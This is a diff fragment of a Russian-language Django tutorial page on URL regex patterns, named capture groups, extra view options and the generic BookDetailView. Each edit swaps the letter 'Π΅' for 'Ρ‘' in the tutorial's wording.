<tr>
<td>(?P&lt;name&gt;...)</td>
- <td>Π—Π°Ρ…Π²Π°Ρ‚ части ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π° (ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‡Π΅Ρ€Π΅Π· ...) ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС &lt;name&gt;). Π—Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, вашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ с Ρ‚Π΅ΠΌ ΠΆΠ΅ самым ΠΈΠΌΠ΅Π½Π΅ΠΌ!</td>
+ <td>Π—Π°Ρ…Π²Π°Ρ‚ части ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π° (ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‡Π΅Ρ€Π΅Π· ...) ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС &lt;name&gt;). Π—Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, вашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ с Ρ‚Π΅ΠΌ ΠΆΠ΅ самым ΠΈΠΌΠ΅Π½Π΅ΠΌ!</td>
</tr>
<tr>
<td>[ Β ]</td>
@@ -303,7 +303,7 @@ urlpatterns = [
<td>
<p>Π­Ρ‚ΠΎ Π Π’ примСняСтся Π² нашСм url-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΈ. Оно соотвСтствуСт строкС, которая начинаСтся с <code>book/</code> (<strong>^book/</strong>), Π·Π°Ρ‚Π΅ΠΌ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄Π½Ρƒ, ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ†ΠΈΡ„Ρ€ (<code>\d+</code>), Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ (Ρ†ΠΈΡ„Ρ€ΠΎΠΉ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†ΠΈΡ„Ρ€ΠΎΠΉ).</p>
- <p>Оно Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всС Ρ†ΠΈΡ„Ρ€Ρ‹ <strong>(?P&lt;pk&gt;\d+)</strong> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΡ… Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ 'pk'. <strong>Π—Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ значСния всСгда ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ строка!</strong></p>
+ <p>Оно Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всС Ρ†ΠΈΡ„Ρ€Ρ‹ <strong>(?P&lt;pk&gt;\d+)</strong> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΡ… Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ 'pk'. <strong>Π—Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ значСния всСгда ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ строка!</strong></p>
<p>НапримСр, Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρƒ Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка <code>book/1234</code> , которая отправляСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>pk='1234'</code> Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
</td>
@@ -315,7 +315,7 @@ urlpatterns = [
<tr>
<td><strong>r'^book/(?P&lt;stub&gt;[-\w]+)$'</strong></td>
<td>
- <p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ соотвСтствуСт строкС, которая начинаСтся с <code>book/</code> (<strong>^book/</strong>), Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ΄ΡƒΡ‚ ΠΎΠ΄ΠΈΠ½, ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ символов Π»ΠΈΠ±ΠΎ '-', ΠΈΠ»ΠΈΒ  словарныС символы (<strong>[-\w]+</strong>), Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ. Он Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½ΠΎΠ΅ мноТСство символов ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΡ… Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ 'stub'.</p>
+ <p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ соотвСтствуСт строкС, которая начинаСтся с <code>book/</code> (<strong>^book/</strong>), Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ΄ΡƒΡ‚ ΠΎΠ΄ΠΈΠ½, ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ символов Π»ΠΈΠ±ΠΎ '-', ΠΈΠ»ΠΈΒ  словарныС символы (<strong>[-\w]+</strong>), Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ. Он Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½ΠΎΠ΅ мноТСство символов ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΡ… Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ 'stub'.</p>
<p>Π­Ρ‚ΠΎ довольно Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ для "стаба". Π‘Ρ‚Π°Π±Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ друТСствСнными URL-адрСсами - ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΊΠ»ΡŽΡ‡Π°ΠΌΠΈ для Π΄Π°Π½Π½Ρ‹Ρ…. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ стаб,Β  Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ URL-адрСс вашСй ΠΊΠ½ΠΈΠ³ΠΈ Π±Ρ‹Π» Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌ. НапримСр, <code>/catalog/book/the-secret-garden</code>, выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ Ρ‡Π΅ΠΌ <code>/catalog/book/33</code>.</p>
</td>
@@ -326,12 +326,12 @@ urlpatterns = [
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ (ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ) нСсколько ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠ² Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΈ ΠΈ, Ρ‚Π΅ΠΌ самым, Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² URL-адрСсС.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ качСствС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ задания, рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈΒ Π±Ρ‹ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ url Π½Π° список всСх ΠΊΠ½ΠΈΠ³, Π²Ρ‹ΡˆΠ΅Π΄ΡˆΠΈΡ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π³ΠΎΠ΄, мСсяц, дСнь ΠΈ ΠΊΠ°ΠΊΠΎΠ΅ Π Π’ (ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½) Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ этому.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ качСствС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ задания, рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈΒ Π±Ρ‹ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ url Π½Π° список всСх ΠΊΠ½ΠΈΠ³, Π²Ρ‹ΡˆΠ΅Π΄ΡˆΠΈΡ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π³ΠΎΠ΄, мСсяц, дСнь ΠΈ ΠΊΠ°ΠΊΠΎΠ΅ Π Π’ (ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½) Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ этому.</p>
</div>
<h4 id="ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π°_Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…_настроСк_Π²_ваши_прСобразования_URL-адрСсов">ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… настроСк Π² ваши прСобразования URL-адрСсов</h4>
-<p>Одной Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π΅ примСняли здСсь, Π½ΠΎ которая ΠΌΠΎΠ³Π»Π° Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ настройки</a> Π² отобраТСния. Π”Π°Π½Π½Ρ‹Π΅ настройки ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ бСзымянный Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>url()</code>. Π­Ρ‚ΠΎΡ‚ способ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π΅ΠΌ ΠΆΠ΅ самым ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… рСсурсов ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ для измСнСния Π΅Π³ΠΎ повСдСния Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ случаС (Π½ΠΈΠΆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° шаблонов).</p>
+<p>Одной Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π΅ примСняли здСсь, Π½ΠΎ которая ΠΌΠΎΠ³Π»Π° Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ настройки</a> Π² отобраТСния. Π”Π°Π½Π½Ρ‹Π΅ настройки ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ ΠΊΠ°ΠΊ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ бСзымянный Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>url()</code>. Π­Ρ‚ΠΎΡ‚ способ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π΅ΠΌ ΠΆΠ΅ самым ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… рСсурсов ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ для измСнСния Π΅Π³ΠΎ повСдСния Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ случаС (Π½ΠΈΠΆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° шаблонов).</p>
<pre class="brush: python">url(r'^/url/$', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'),
url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'),
@@ -349,15 +349,15 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<pre class="brush: python">class BookDetailView(generic.DetailView):
Β  Β  model = Book</pre>
-<p>Π­Ρ‚ΠΎ всё! ВсС Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π°Π΄ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ шаблон с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пСрСдаст Π΅ΠΌΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ записи <code>Book,</code>Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ URL-прСобразования. Π’Π½ΡƒΡ‚Ρ€ΠΈ шаблона Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ списку ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>object</code>Β ΠΈΠ»ΠΈΒ <code>book</code>Β (ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΒ "<code><em>the_model_name</em></code>").</p>
+<p>Π­Ρ‚ΠΎ всё! ВсС Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π°Π΄ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ шаблон с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пСрСдаст Π΅ΠΌΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ записи <code>Book,</code>Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ URL-прСобразования. Π’Π½ΡƒΡ‚Ρ€ΠΈ шаблона Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ списку ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>object</code>Β ΠΈΠ»ΠΈΒ <code>book</code>Β (ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΒ "<code><em>the_model_name</em></code>").</p>
<p>Если Ρƒ вас имССтся Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ шаблон ΠΈ/ΠΈΠ»ΠΈ имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° контСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ для ссылки Π½Π° ΠΊΠ½ΠΈΠ³Ρƒ Π² шаблонС. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для добавлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΊ контСксту.</p>
-<h4 id="Π§Ρ‚ΠΎ_ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚_Ссли_записи_Π½Π΅_сущСствуСт">Π§Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚,Β  Ссли записи Π½Π΅ сущСствуСт?</h4>
+<h4 id="Π§Ρ‚ΠΎ_ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚_Ссли_записи_Π½Π΅_сущСствуСт">Π§Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚,Β  Ссли записи Π½Π΅ сущСствуСт?</h4>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ записи Π½Π΅ сущСствуСт, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ автоматичСски "Π²Ρ‹ΠΊΠΈΠ½Π΅Ρ‚" ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Http404 β€” Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ автоматичСскому ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ страницы с тСкстом "resource not found" ("рСсурс Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½"), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ.</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ записи Π½Π΅ сущСствуСт, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ автоматичСски "Π²Ρ‹ΠΊΠΈΠ½Π΅Ρ‚" ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Http404 β€” Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ автоматичСскому ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ страницы с тСкстом "resource not found" ("рСсурс Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½"), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ.</p>
